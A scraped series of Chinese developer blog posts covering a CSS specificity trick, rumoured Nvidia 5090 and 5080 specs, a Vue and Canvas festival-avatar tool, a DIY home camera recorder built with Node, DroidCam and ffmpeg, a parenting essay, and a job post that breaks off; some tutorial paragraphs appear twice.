.newsletter .newsletter__checkbox .checkbox__icon {
top: 5px;
}
当 CSS 的顺序是固定的,并且你可以保证你的 CSS 规则一定在他们的后面的情况下,这足够了。因为『后来居上』:即如果有多个相同的 CSS 选择器选择了同一个DOM元素,那么最后出现的将“获胜”。
然而,大多数时候你无法保证代码顺序。此时你需要增加选择器的优先级。你可以在 DOM 中寻找一些额外的类名,一般从父元素中添加:
/* 更多的类名!权重现在是(0,4,0) */
.parent-thing .newsletter .newsletter__checkbox .checkbox__icon {
top: 5px;
}
或者你发现这个元素恰好是一个 ,可以将其加入选择器提高优先级:
/* 权重现在是 (0,3,1) */
.newsletter .newsletter__checkbox span.checkbox__icon {
top: 5px;
}
但所有这些方法都有副作用,都会使你的代码变得脆弱。如果 .parent-thing
突然不见了呢,比如你升级了某个外部依赖(比如 antd 😅)?或者如果 .checkbox__icon
从 span
改成了不同的元素怎么办?突然间,你的高优先级选择器什么也选不到了!
当浏览器计算 CSS 选择器优先级时,它们本质上是在计算你组合了多少 ID
、类
、元素
或等效选择器。实际上可以多次重复同一个选择器,每次重复都会增加权重。CSS 选择器 Level 4 规范 写到:
CSS 选择器允许多次出现相同的简单选择器,而且可以增加权重。
因此,你可以通过重复(三次、四次……)相同的选择器提高权重:
/* 双重 .checkbox__icon!权重现在是 (0,4,0) */
.newsletter .newsletter__checkbox .checkbox__icon.checkbox__icon {
top: 5px;
}
注意
.checkbox__icon.checkbox__icon
中没有空格!它是一个选择器,因为你针对的是具有那个类的单个元素
现在你可以简单地重复几次选择器来提升优先级!
译者注:该技巧其实在 MDN !important 章节 有示例(以下示例重复了3次
#myElement
):
#myElement#myElement#myElement .myClass.myClass p:hover {
color: blue;
}
p {
color: red !important;
}
在 HTML 中重复 🚫
注意,这个技巧只在 CSS 中有效!在 HTML 中重复相同的类名对优先级没有任何影响。
<div class="badger badger badger">
Mushroom!
div>
总结 🎯
CSS 可以多次重复同一个选择器,每次重复都会增加权重 🏋️♂️
这种 CSS 技巧是否有点 hack?也许是。然而我认为它让我们:
- 避免诉诸于
!important
- 『就近原则』提高可读性:重复多次的选择器,这样代码的意图对读者来说更清晰
- 这种模式让你很容易在代码中找到其他人的 CSS 覆盖,如果不再需要我们可以放心删除
只要你不过度使用它,我认为这是一个完全合法且 Robust 的技巧至少相比我们之前学会的所有技巧,下次处理棘手的覆盖三方样式情况时可以考虑用一用。
是否还有更好的解决办法?其实有,@layer 是官方推荐的最佳实践但是兼容性不好 Chrome>=99,而且使用场景有限。
来源:juejin.cn/post/7411686792342618153
英伟达 5090 被曝 32G 大显存、核心是 5080 的两倍!网友:怕不是 B200 双芯封装技术下放
32GB GDDR7 内存,CUDA 核心数 21760 个——
关于英伟达下一代旗舰消费级显卡 5090,知名消息人士 kopite7kimi 给出了最新爆料。
同时,5080 被曝内存容量为 16G,是 5090 的一半。
当然 5080 恰好是 5090 一半的还不只是内存,所以有人怀疑 5090 的 GPU 会不会像 B200 等服务器 GPU 一样,是两块芯片拼接出来的产物。
另外按 kopite7kimi 的爆料,5090 的(TGP)功耗将达到 600W,比 450W 的 4090 多出了三分之一。
老牌科技网站 Gizmodo 更是调侃说,5090 一启动,周围街区的灯都会变暗。
虽然功耗问题确实明显,但不妨碍还是有网友预计 5090 会大卖——
一方面,对于游戏玩家,他们虽然不一定需要如此高的性能,但会有强烈的购买欲望;
另一方面,它可以满足 AI/ML 从业者的算力需求,可以用来运行本地模型。
5090 和 5080 配置怎样?
对比着目前英伟达已有型号中最先进的 4090,我们来看下 5090 和 5080 被爆料的配置。
GPU 上,两款显卡都将采用 3nm 制程 Blackwell 架构的 GPU,5090 和 5080 分别将使用 GB202-300 和 GB203-400。
还是据 kopite7mimi 的爆料,GB202 共有 96 个 TPC,支持 512bit GDDR7 显存,GB203 的 TPC 数量则为 42 个,支持的 GDDR7 显存则为 256bit。
kopite7mimi 对网友的回复显示,这两款 GPU 芯片在今年 5 月底时已经流片。
内存方面,两款显卡都将采用最新一代的 GDDR7 内存,2022 年业内就一开始讨论,但最终的 JEDEC 规范发布时间是今年 3 月。
而上一代 GDDR6 的发布时间是 2018 年,4090 中采用的 GDDR6X 为 GDDR6 的升级版,G6X 的发布时间距今也已超过四年。
容量上看,kopite7mimi 的说法是 5090 和 5080 将分别使用 32 和 16GB 内存,也就是说 5080 的内存容量要小于 4090 的 24GB。
但在 chipcell 论坛上,另一名叫做 PolyMorph 的爆料者称,之后 5080 也会推出 24GB 版本。
这一消息还被 Tom’sHardware 引用,然而另一家科技媒体 VideoCardz 将其标记为了 “传闻”。
当然关于英伟达的爆料本就众说纷纭,加上其自身也可能对某些规格做出更改,所以在正式发布之前,消息无法被证实或证伪。
至于发布时间,kopite7mimi 曾表示,CES(2025 年 1 月)之前是没指望了。
另外,50 系显卡的插槽是今年刚出的 PCIe5.0,这意味着,如果手里只有 PCIe 4.0 的话,想体验 50 系显卡就得连主板一同更换。
不过可以肯定的是,5090 将能进一步满足 AI/ML 领域日益增长的算力需要,满足本地化的模型运行需求。
游戏方面,网友认为高端游戏显卡市场或将饱和——随着 4K 分辨率逐渐普及,游戏画质提升空间变小,游戏玩家对更高性能显卡的需求可能见顶。
但是随着游戏中 AI 技术的引入,未来游戏也可能对 GPU 产生更新的需求。
另外对于 5090 的功耗问题,有网友表示,如果这种(不管功耗猛堆料的)趋势得不到遏制,那么未来的显卡可能都是外置的了,这非常糟糕……
另外,高功耗也可能带来噪音和散热问题,影响使用体验。
有网友用表情包调侃,按照这个趋势,等到 8090 的时候,显卡恐怕是要像空调外机一样装在室外了。
爆料者曾预言 Blackwell 架构
5090 和 5080 的爆料者,在 X 上叫 kopite7kimi,他时业界非常著名的爆料人士,被 Gizmodo 等媒体认为是英伟达爆料者中消息最可信的。
甚至 5090 和 5080 据传采用的 Blackwell 架构,kopite7kimi 在 2021 年就给出了爆料。
当然表述上没有那么直白,只是发了一张美国数学家和统计学家 David Blackwell 的照片。
但还是有人看出了背后的含义,在评论区询问是不是英伟达架构的名称,kopite7kimi 则回复说:
也许就是 Ampere(当时的最新架构)的下下代。
而英伟达这边在 Ampere 之后,相继推出了 Ada Lovelace 和 Hopper,但 Hopper 主要用于数据中心而不是消费级显卡。
考虑到这一点的话,那就真的和 kopite7kimi 的预测一模一样了。
参考链接:
[1]gizmodo.com/the-leaked-…
[2]videocardz.com/newz/nvidia…
[3]http://www.tomshardware.com/pc-componen…
[4]news.ycombinator.com/item?id=416…
— 完 —
来源:juejin.cn/post/7419907933255352339
想弄一个节日头像,结果全是广告!带你用 Canvas 自己制作节日头像
一、为什么要自己制作节日头像?
很多人想为节日换上特别的头像,尤其是在国庆这样的节日气氛中,给自己的WX头像添加节日元素成为了不少人的选择。最初我也以为只需通过一些WX公众号简单操作,就能轻松给头像加上节日图案,比如国庆节、圣诞节头像等。然而,实际体验却很糟糕——广告无处不在!每一步操作几乎都被强制插入广告打断,不仅浪费时间,体验也非常差。
为了避开这些广告,享受更自由、更个性化的制作过程,我决定分享一个不用看广告的好方法:使用 Canvas 自己动手制作一个专属的节日头像!
很多人想为节日换上特别的头像,尤其是在国庆这样的节日气氛中,给自己的WX头像添加节日元素成为了不少人的选择。最初我也以为只需通过一些WX公众号简单操作,就能轻松给头像加上节日图案,比如国庆节、圣诞节头像等。然而,实际体验却很糟糕——广告无处不在!每一步操作几乎都被强制插入广告打断,不仅浪费时间,体验也非常差。
为了避开这些广告,享受更自由、更个性化的制作过程,我决定分享一个不用看广告的好方法:使用 Canvas 自己动手制作一个专属的节日头像!
二、源码 & 在线体验
三、 实现的功能与后续发展
在解决了广告干扰的问题后,我通过 Canvas 实现了多个实用功能,让大家可以轻松制作个性化的节日头像:
- 头像裁剪功能
- 头像与框架的拼接
- 头像框透明度调节
- 头像框颜色过滤(可自定义头像框)
- 后续发展:Fabric.js 自定义贴图功能
- 后续发展:更新更多节日的头像 & 贴图
在解决了广告干扰的问题后,我通过 Canvas 实现了多个实用功能,让大家可以轻松制作个性化的节日头像:
- 头像裁剪功能
- 头像与框架的拼接
- 头像框透明度调节
- 头像框颜色过滤(可自定义头像框)
- 后续发展:Fabric.js 自定义贴图功能
- 后续发展:更新更多节日的头像 & 贴图
四、当前素材及投稿征集
展示目前头像框素材,也欢迎大家投稿,我也会陆续更进头像框(项目中头像框已进行分类,这里为了方便展示,也可以自定义头像框)
展示目前头像框素材,也欢迎大家投稿,我也会陆续更进头像框(项目中头像框已进行分类,这里为了方便展示,也可以自定义头像框)
1. 头像框
2. 贴图
五、代码实现
整体逻辑非常简单 : 头像 + 头像框 = 所需头像
整体逻辑非常简单 : 头像 + 头像框 = 所需头像
1. 头像裁剪功能
页面部分
- 使用
:width
来根据设备类型设置宽度(device === DeviceEnum.MOBILE ? '95%' : '42%'
)。
用于图像裁剪功能。- 底部有文件上传和旋转按钮。
<template>
<el-dialog
v-model="dialog.visible"
:width="device === DeviceEnum.MOBILE ? '95%' : '42%'"
class="festival-avatar-upload-dialog"
destroy-on-close
draggable
overflow
title="上传头像"
>
<div style="height: 45vh">
<vue-cropper
ref="cropper"
:autoCrop="true"
:centerBox="true"
:fixed="true"
:fixedNumber="[1,1]"
:img="imgTemp"
:outputType="'png'"
/>
div>
<template #footer>
<div class="festival-avatar-dialog-options">
<el-button @click="uploadAvatar">
<el-icon style="margin-right: 5px;">
<UploadFilled/>
el-icon>
上传头像
<input ref="avatarUploaderRef" accept="image/*" class="avatar-uploader" name="file" type="file"
@change="handleFileChange">
el-button>
<el-button @click="rotateLeft">
<el-icon><RefreshLeft/>el-icon>
el-button>
<el-button @click="rotateRight">
<el-icon><RefreshRight/>el-icon>
el-button>
<el-button type="primary" @click="submitForm">提 交el-button>
div>
template>
el-dialog>
template>
- 使用
:width
来根据设备类型设置宽度(device === DeviceEnum.MOBILE ? '95%' : '42%'
)。
用于图像裁剪功能。- 底部有文件上传和旋转按钮。
<template>
<el-dialog
v-model="dialog.visible"
:width="device === DeviceEnum.MOBILE ? '95%' : '42%'"
class="festival-avatar-upload-dialog"
destroy-on-close
draggable
overflow
title="上传头像"
>
<div style="height: 45vh">
<vue-cropper
ref="cropper"
:autoCrop="true"
:centerBox="true"
:fixed="true"
:fixedNumber="[1,1]"
:img="imgTemp"
:outputType="'png'"
/>
div>
<template #footer>
<div class="festival-avatar-dialog-options">
<el-button @click="uploadAvatar">
<el-icon style="margin-right: 5px;">
<UploadFilled/>
el-icon>
上传头像
<input ref="avatarUploaderRef" accept="image/*" class="avatar-uploader" name="file" type="file"
@change="handleFileChange">
el-button>
<el-button @click="rotateLeft">
<el-icon><RefreshLeft/>el-icon>
el-button>
<el-button @click="rotateRight">
<el-icon><RefreshRight/>el-icon>
el-button>
<el-button type="primary" @click="submitForm">提 交el-button>
div>
template>
el-dialog>
template>
代码逻辑部分(核心部分)
imgTemp
用来存储上传的临时图片数据。handleFileChange
处理文件上传事件,校验文件类型并使用 FileReader
读取图片数据,并本地存储。rotateLeft
和 rotateRight
分别用于左旋和右旋图片。
// 省略部分属性定义
const imgTemp = ref<string>("") // 临时图片数据
const cropper = ref(); // 裁剪实例
const avatarUploaderRef = ref<HTMLInputElement | null>(null); // 上传头像 input 引用
// 上传头像功能
function uploadAvatar() {
avatarUploaderRef.value?.click(); // 点击 input 触发上传
}
// 上传文件前校验 : 略
// 处理文件上传
function handleFileChange(event: Event) {
const input = event.target as HTMLInputElement;
if (input.files && input.files[0]) {
const file = input.files[0];
if (!beforeAvatarUpload(file)) return;
const reader = new FileReader();
reader.onload = (e: ProgressEvent ) => {
imgTemp.value = e.target?.result as string; // 读取的图片数据赋给 imgTemp
};
reader.readAsDataURL(file);
}
}
// 旋转功能
function rotateLeft() {
cropper.value?.rotateLeft();
}
const rotateRight = () => {
cropper.value?.rotateRight();
};
imgTemp
用来存储上传的临时图片数据。handleFileChange
处理文件上传事件,校验文件类型并使用FileReader
读取图片数据,并本地存储。rotateLeft
和rotateRight
分别用于左旋和右旋图片。
// 省略部分属性定义
const imgTemp = ref<string>("") // 临时图片数据
const cropper = ref(); // 裁剪实例
const avatarUploaderRef = ref<HTMLInputElement | null>(null); // 上传头像 input 引用
// 上传头像功能
function uploadAvatar() {
avatarUploaderRef.value?.click(); // 点击 input 触发上传
}
// 上传文件前校验 : 略
// 处理文件上传
function handleFileChange(event: Event) {
const input = event.target as HTMLInputElement;
if (input.files && input.files[0]) {
const file = input.files[0];
if (!beforeAvatarUpload(file)) return;
const reader = new FileReader();
reader.onload = (e: ProgressEvent ) => {
imgTemp.value = e.target?.result as string; // 读取的图片数据赋给 imgTemp
};
reader.readAsDataURL(file);
}
}
// 旋转功能
function rotateLeft() {
cropper.value?.rotateLeft();
}
const rotateRight = () => {
cropper.value?.rotateRight();
};
实现效果图
2. 头像与头像框合并
页面部分 (核心部分)
compositeAvatar
为组合头像 , avatarData
为头像数据 ,compositeCanvas
头像 Canvas , avatarFrameCanvas
头像框 Canvas- 在没有
compositeAvatar
的时候展示 avatarData
, 没有 avatarData
提示用户点击 PLUS
的图片
<div class="festival-avatar-preview">
<div class="festival-avatar-preview__plus" @click="openAvatarDialog">
<img v-if="compositeAvatar" :src="compositeAvatar" alt="合成头像"/>
<img v-else-if="avatarData" :src="avatarData" alt="头像"/>
<el-icon v-else color="#8c939d" size="28">
<Plus>Plus>
el-icon>
div>
div>
<canvas ref="compositeCanvas" style="display: none;">canvas>
<canvas ref="avatarFrameCanvas" style="display: none;">canvas>
compositeAvatar
为组合头像 ,avatarData
为头像数据 ,compositeCanvas
头像 Canvas ,avatarFrameCanvas
头像框 Canvas- 在没有
compositeAvatar
的时候展示avatarData
, 没有avatarData
提示用户点击PLUS
的图片
<div class="festival-avatar-preview">
<div class="festival-avatar-preview__plus" @click="openAvatarDialog">
<img v-if="compositeAvatar" :src="compositeAvatar" alt="合成头像"/>
<img v-else-if="avatarData" :src="avatarData" alt="头像"/>
<el-icon v-else color="#8c939d" size="28">
<Plus>Plus>
el-icon>
div>
div>
<canvas ref="compositeCanvas" style="display: none;">canvas>
<canvas ref="avatarFrameCanvas" style="display: none;">canvas>
逻辑部分 (核心部分)
- 通过
toDataURL
转换后合成为组合头像 , 通过 drawImage
合并 avatarFrameCanvas
和上文中avatarData
进行合并
const context = getCanvasContext(compositeCanvas); // 获取主 Canvas 上下文
const frameContext = getCanvasContext(avatarFrameCanvas); // 获取头像框 Canvas 上下文
// 省略非相关逻辑 , context 中写入 avatarData 内容
// 将处理后的头像框绘制到主 Canvas 上
context.drawImage(avatarFrameCanvas.value, 0, 0, avatarImg.width, avatarImg.height);
// 将合成后的图片转换为数据 URL
compositeAvatar.value = compositeCanvas.value!.toDataURL('image/png');
- 通过
toDataURL
转换后合成为组合头像 , 通过drawImage
合并avatarFrameCanvas
和上文中avatarData
进行合并
const context = getCanvasContext(compositeCanvas); // 获取主 Canvas 上下文
const frameContext = getCanvasContext(avatarFrameCanvas); // 获取头像框 Canvas 上下文
// 省略非相关逻辑 , context 中写入 avatarData 内容
// 将处理后的头像框绘制到主 Canvas 上
context.drawImage(avatarFrameCanvas.value, 0, 0, avatarImg.width, avatarImg.height);
// 将合成后的图片转换为数据 URL
compositeAvatar.value = compositeCanvas.value!.toDataURL('image/png');
实现效果
当我们点击头像框的时候,合并头像
当我们点击头像框的时候,合并头像
3. 头像框透明度调整
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
逻辑部分 (核心部分)
通过 context
中 globalAlpha
属性设置全局透明度。
setFrameOpacity(frameContext, frameOpacity.value); // 设置头像框透明度
/**
* 设置 Canvas 的透明度
* @param context Canvas 的 2D 上下文
* @param opacity 透明度值
*/
function setFrameOpacity(context: CanvasRenderingContext2D, opacity: number) {
context.globalAlpha = opacity; // 设置全局透明度
}
通过 context
中 globalAlpha
属性设置全局透明度。
setFrameOpacity(frameContext, frameOpacity.value); // 设置头像框透明度
/**
* 设置 Canvas 的透明度
* @param context Canvas 的 2D 上下文
* @param opacity 透明度值
*/
function setFrameOpacity(context: CanvasRenderingContext2D, opacity: number) {
context.globalAlpha = opacity; // 设置全局透明度
}
实现效果
4. 头像框颜色过滤
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
服务对象 我们有自定义头像框功能,但是自己找的头像很容易有白底
的问题,所以更新此功能。
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
服务对象 我们有自定义头像框功能,但是自己找的头像很容易有白底
的问题,所以更新此功能。
逻辑部分 (核心部分)
filterColorToTransparent
函数
- 作用:将与指定颜色相近的像素变为透明。
colorDistance
函数
- 作用:计算两种颜色(RGB 值)之间的距离。距离越小,颜色越相似。
- 计算方式:使用欧几里得距离公式计算两个 RGB 颜色向量之间的距离,如果距离小于一定的容差值(
tolerance
),则认为两种颜色足够接近。
rgbStringToArray
函数
- 作用:将 RGB 字符串(例如
'rgb(255,255,255)'
)转换为包含 r, g, b
值的对象。
/**
* 将指定颜色过滤为透明
* @param context Canvas 的 2D 上下文
* @param width Canvas 宽度
* @param height Canvas 高度
*/
function filterColorToTransparent(context: CanvasRenderingContext2D, width: number, height: number) {
const frameImageData = context.getImageData(0, 0, width, height);
const data = frameImageData.data;
const targetColor = rgbStringToArray(colorFilter.value.color); // 将目标颜色转换为 RGB 数组
// 遍历所有像素点
for (let i = 0; i < data.length; i += 4) {
const r = data[i];
const g = data[i + 1];
const b = data[i + 2];
const distance = colorDistance({r, g, b}, targetColor); // 计算当前颜色与目标颜色的差距
// 如果颜色差距在容差范围内,则将其透明度设为 0
if (distance <= colorFilter.value.tolerance) {
data[i + 3] = 0; // 设置 alpha 通道为 0(透明)
}
}
// 将处理后的图像数据放回 Canvas
context.putImageData(frameImageData, 0, 0);
}
/**
* 计算两种颜色之间的距离(欧几里得距离)
* @param color1 颜色 1,包含 r、g、b 属性
* @param color2 颜色 2,包含 r、g、b 属性
* @returns number 返回颜色之间的距离
*/
function colorDistance(color1: { r: number; g: number; b: number }, color2: { r: number; g: number; b: number }) {
return Math.sqrt(
(color1.r - color2.r) ** 2 +
(color1.g - color2.g) ** 2 +
(color1.b - color2.b) ** 2
);
}
/**
* 将 RGB 字符串转换为 RGB 数组
* @param rgbString RGB 字符串(例如 'rgb(255,255,255)')
* @returns 返回一个包含 r、g、b 值的对象
*/
function rgbStringToArray(rgbString: string) {
const result = rgbString.match(/\d+/g)?.map(Number) || [0, 0, 0]; // 匹配并转换 RGB 值
return {r: result[0], g: result[1], b: result[2]}; // 返回 r、g、b 对象
}
filterColorToTransparent
函数
- 作用:将与指定颜色相近的像素变为透明。
colorDistance
函数
- 作用:计算两种颜色(RGB 值)之间的距离。距离越小,颜色越相似。
- 计算方式:使用欧几里得距离公式计算两个 RGB 颜色向量之间的距离,如果距离小于一定的容差值(
tolerance
),则认为两种颜色足够接近。
rgbStringToArray
函数
- 作用:将 RGB 字符串(例如
'rgb(255,255,255)'
)转换为包含r, g, b
值的对象。
/**
* 将指定颜色过滤为透明
* @param context Canvas 的 2D 上下文
* @param width Canvas 宽度
* @param height Canvas 高度
*/
function filterColorToTransparent(context: CanvasRenderingContext2D, width: number, height: number) {
const frameImageData = context.getImageData(0, 0, width, height);
const data = frameImageData.data;
const targetColor = rgbStringToArray(colorFilter.value.color); // 将目标颜色转换为 RGB 数组
// 遍历所有像素点
for (let i = 0; i < data.length; i += 4) {
const r = data[i];
const g = data[i + 1];
const b = data[i + 2];
const distance = colorDistance({r, g, b}, targetColor); // 计算当前颜色与目标颜色的差距
// 如果颜色差距在容差范围内,则将其透明度设为 0
if (distance <= colorFilter.value.tolerance) {
data[i + 3] = 0; // 设置 alpha 通道为 0(透明)
}
}
// 将处理后的图像数据放回 Canvas
context.putImageData(frameImageData, 0, 0);
}
/**
* 计算两种颜色之间的距离(欧几里得距离)
* @param color1 颜色 1,包含 r、g、b 属性
* @param color2 颜色 2,包含 r、g、b 属性
* @returns number 返回颜色之间的距离
*/
function colorDistance(color1: { r: number; g: number; b: number }, color2: { r: number; g: number; b: number }) {
return Math.sqrt(
(color1.r - color2.r) ** 2 +
(color1.g - color2.g) ** 2 +
(color1.b - color2.b) ** 2
);
}
/**
* 将 RGB 字符串转换为 RGB 数组
* @param rgbString RGB 字符串(例如 'rgb(255,255,255)')
* @returns 返回一个包含 r、g、b 值的对象
*/
function rgbStringToArray(rgbString: string) {
const result = rgbString.match(/\d+/g)?.map(Number) || [0, 0, 0]; // 匹配并转换 RGB 值
return {r: result[0], g: result[1], b: result[2]}; // 返回 r、g、b 对象
}
实现效果
- 在 Canva 自己制作一个头像
- 上传头像框,制作头像 ( 过滤白色 )
- 在 Canva 自己制作一个头像
- 上传头像框,制作头像 ( 过滤白色 )
六、结束语
开发很容易,祝大家各个节日快乐 !!!
来源:juejin.cn/post/7419223935005605914
我的车被划了,看我实现简易监控拿捏他!node+DroidCam+ffmpeg
某天我骑着我的小电驴下班回到我那出租屋,习惯性的看了一眼我那停在门口的二手奥拓,突然发现有点不对劲,走近一看引擎盖上多了一大条划痕,顿时恶向胆边生,是谁!!!为此我决定用现有条件做一套简易的监控系统来应对日后的情况,于是有了这篇文章。
一 准备工作
由于是要做监控,硬件是必不可少的,所以首先想到的就是闲置的手机了,找了一台安卓8.1的古董出来,就决定是你了。因为之前在公司使用过
DroidCam这款软件用来进行webRTC的开发,所以这次就顺理成章的装了这款软件,连上家里的wifi后打开就相当于有了一台简易的视频服务器。那么硬件搞定了,接下来的就是软件了。梳理下来的话只有以下几点了
- 拉取DroidCam上的视频流
- 将拉取到的内容做存储
由于本人是个前端,因此这里就顺理成章的使用node来作为软件实现的第一方案了。
二 获取视频流,啊?怎么是这玩意儿
怎么获取它传过来的视频流呢?看了一下上打开的软件界面,发现给了两个地址,ip端口 和 ip端口/video,不出意料的这两个里面肯定是有能用的东西,挨个打开后发现不带video的地址是相当于一个控制台,带video的是视频的接口地址。那就好办了,我满怀激动的以为一切都很容易的时候,打开控制台一看,咦,这是啥玩意儿?它的所谓的视频是现在img标签里的,这在之前可是没见过哦,再看一眼接口地址,咦,这是一个长链接?点开详情看了一眼,好吧,又学到新东西了。它的Content-Type是multipart/x-mixed-replace;boundary='xxxx'
,这是啥呀,搜索了一下资料后如下。
MJPEG(Motion Joint Photographic Experts Gr0up)是一种视频压缩格式,其中每一帧图像都分别使用JPEG编码,不使用帧间编码,压缩率通常在20:1-50:1范围内。它的原理是把视频镜头拍成的视频分解成一张张分离的jpg数据发送到客户端。当客户端不断显示图片,即可形成相应的图像。
大致意思懂了,就是这就是一张张的图像呗。后面又看了一下服务端是如何生成这玩意儿的,这里就不细说了。
知道了是啥东西,那就要想怎么把它搞出来了
三 使用ffmpeg 获取每一帧
ffmpeg相信大家都不陌生,使用前需要先在本机上安装,安装方法的话这里就不赘述了。
安装后在系统环境变量高级设置中,增加path变量的值为ffmpeg在电脑上的路径。后续就可以使用了。
随便新建一个js文件
const fs = require('fs')
const path = require('path')
//截取的视频帧的存储路径和命名方式
const outputFilePattern = path.join(__dirname + '/newFrame', 'd.jpg');
//视频服务器地址
const mjpegUrl = 'http://192.168.2.101:4747/video?1920x1080';
//通过child_process的spawn调用外部文件,执行ffmpeg,并传入参数
//下方代码执行后在连接到服务后不手动停止的情况下期间会不断的在指定目录下生成获取到的图片
const ffmpeg = require('child_process').spawn('ffmpeg', [
'-i',
mjpegUrl,
'-vf',
'fps=24',//设置帧率
'-q:v',
'1', // 调整此值以更改输出质量(较低的值表示更好的质量)
outputFilePattern // %d 将被替换为帧编号
], { windowsHide: true });//调用时不显示cmd窗口
//错误监听
ffmpeg.on('error', function (err) {
throw err;
});
//关闭监听
ffmpeg.on('close', function (code) {
console.log('ffmpeg exited with code ' + code);
});
//数据
ffmpeg.stderr.on('data', function (data) {
console.log('stderr: ' + data.toString());
//执行合并图片操作
//....
});
上述代码运行后如果能正常连接上服务的话你会在指定目录下看到不断生成的图片。
四 将图片生成为视频
光有图片是不够的,我最终的预期是生成视频以供查看,所以添加以下的代码将图片合并为视频
//上面生成图片后存放的位置
let filePath = path.join(__dirname + '/newFrame', 'd.jpg');
let comd = [
'-framerate',
'24',
'-i',
filePath,
'-c:v',
'libx264',
'-pix_fmt',
'yuv420p',
`${__dirname}/outVideo/${new Date().getFullYear()}-${(new Date().getMonth() + 1).toString().padStart(2, '0')}-${new Date().getDate().toString().padStart(2, '0')}_${new Date().getHours().toString().padStart(2, '0')}${new Date().getMinutes().toString().padStart(2, '0')}${new Date().getSeconds().toString().padStart(2, '0')}.mp4`
]
const ffmpeg = require('child_process').spawn('ffmpeg', comd,{ windowsHide: true });
ffmpeg.on('close', function (code) {
console.log('ffmpeg exited with code ' + code);
console.log('任务执行结束,开始删除')
});
我这里定的是每2000张图片组合成视频,因此将第三步
中的
ffmpeg.stderr.on('data', function (data) {
console.log('stderr: ' + data.toString());
});
改成
ffmpeg.stderr.on('data', function (data) {
console.log('stderr: ' + data.toString());
//打印结果 =>>frame= 1474 fps= 14 q=1.0 size=N/A time=00:01:01.41 bitrate=N/A speed=0.57x
let arr = data.toString().split('fps')
try {
//获取frame数量用来计数
frameCount = arr[0].split('=')[1].trim()
console.log(frameCount)
//为什么这里用大于而不是等于呢,因为获取frame可能不是总会计数到我们想要的值,踩过坑,注意
if (frameCount > 2000) {
console.log('数量满足')
//关闭本次获取流
ffmpeg.kill('SIGKILL');
//这里执行合并文件的操作
//...
}
} catch (e) { }
});
到这里如果你一切顺利的话就能在指定的文件夹里看到合并完成后的MP4视频了。
五 合并完成后删除上次获取的图片
将第四步
的
ffmpeg.on('close', function (code) {
console.log('ffmpeg exited with code ' + code);
console.log('任务执行结束,开始删除')
});
改为
ffmpeg.on('close', async function (code) {
console.log('ffmpeg exited with code ' + code);
console.log('任务执行结束,开始删除')
try {
await fsE.emptyDir('your folderPath');
console.log(`已清空文件夹`);
//重新执行第二步
//...
} catch (err) {
console.error(`无法清空文件夹: ${err}`);
}
});
这里的fsE
是 const fsE = require('fs-extra');
,需要安装并且导入
到这里为止,整个基本的流程就完成了
六 总结
整个程序到目前为止已经能基本满足我的需求,但是还存在不足,比如频繁的往硬盘上读写文件、容错处理等等,后续我的想法是把图片保存到内存中,在满足条件后再写入硬盘,减少文件的I/O操作,加入对人体的识别,接入之前写过的邮件通知,有人靠近自动记录时间点并发送到邮箱。当然了,我这个肯定比不了市面上的那些成熟产品,就是自己写着好玩的,请各位大佬轻喷!有错误和意见欢迎指正!
来源:juejin.cn/post/7419887017164767268
有了小孩后,对我的影响还是挺大的
张雪峰曾经说: 闺女是上帝对父母的恩赐,儿子是上帝对父母的惩罚。
2023年8月9日,上帝惩罚了我。
事情的经过是这样的
我和我媳妇其实很早就领证结婚了,但是一直没要宝宝,因为那个时候感觉两个人过日子真是太滋润了,周六日可以睡到自然醒,也可以夜里12点去泡澡,一脚油门想去哪去哪。
2022年房子装修好了,除完甲醛后就搬进来住了。“正好”那个时间又赶上了疫情,很多小区就封了,我们小区也不不例外。我记得那个时候买了好多肉和吃的,所以吃喝不用担心,再加上我和媳妇都是干的程序员,可以居家办公,家庭收入也没受到影响,总之那段时间过得还是挺爽😍。
也就是在这段很爽的时间里,我们有了宝宝😂。
怀孕的这段时间
除了正常的产检外,还拍了很多B超,不小心摔着了拍个B超,肚子疼了去拍个B超,胎动异常了去拍个B超🤓...
总之也是一块不小的支出
小插曲
到了孕晚期,我媳妇的胎位不正,不能顺产,但是我媳妇又想顺产,然后医生说可以做外道转手术,把胎位移正。
然后发了5000大洋,在医院住了三天,终于把胎位搞正了。
谁承想回到家不到一个星期,自己又掉转过来了😹
最后还是选择了剖腹产
看来干什么事情都要顺其自然,强求不来
宝宝顺利出生了
时间过得最慢的就是媳妇推进手术室做剖腹产,我们在外面等着的时候,真是度秒如年,生怕出了什么意外。
好在最后一切顺利
当爸爸的第一个晚上,真是一夜没睡,因为没有任何经验,什么东西都得现学,比如如何喂奶,如何包裹小孩...
所以干什么还是提前做好功课为好
现在已经一岁多啦
现在宝宝已经一岁一个月了,时间过得既快又慢,经历了很多很多。
下面就谈谈有了孩子后的感受吧!
可支配的时间越来越少
有了孩子后最大的变化就是,自己可支配的时间越来越少了。没有孩子之前,我和媳妇还可以有时间看电影,泡温泉啥的,有了孩子后二人世界彻底崩塌😭
还有就是
说来也奇怪,有了孩子后,基本上对学习没啥动力了,除非是工作中要用到的一些技术,可能有时间会自己研究下(很少),大部分时间都不会再关注技术,有点时间就想着刷刷抖音,打打游戏😑
我之所以打算写点东西,很大一部分原因就是为了减少我刷抖音的时间😶
越来越像爸爸
有小孩的前三个月,我媳妇有产假,加上我妈也来共同照护孩子,所以在带小孩上我基本上没怎么操心。有些时候为了睡好觉就直接一个人跑到次卧去,做个甩手装柜。
后来我媳妇也上班了,加上她离公司比较远,基本上都是我先下班,所以我也要承担一部分照护小孩的责任。
怎么说呢,这种感觉很奇妙,就是你陪伴孩子的时间越长,你就会越喜欢哄小孩,然后小孩也会越来越喜欢你
每当孩子有什么头疼发烧啥的,当父母的就像心里压住个千斤顶,这个做父母的应该都懂吧。
现在就希望孩子可以快点长大,我有更多的时间和精力干我自己感兴趣的事。
来源:juejin.cn/post/7420001862487654409
入职第一天,看了公司代码,牛马沉默了
入职第一天就干活的,就问还有谁,搬来一台N手电脑,第一分钟开机,第二分钟派活,第三分钟干活,巴适。。。。。。
打开代码发现问题不断
- 读取配置文件居然读取两个配置文件,一个读一点,不清楚为什么不能一个配置文件进行配置
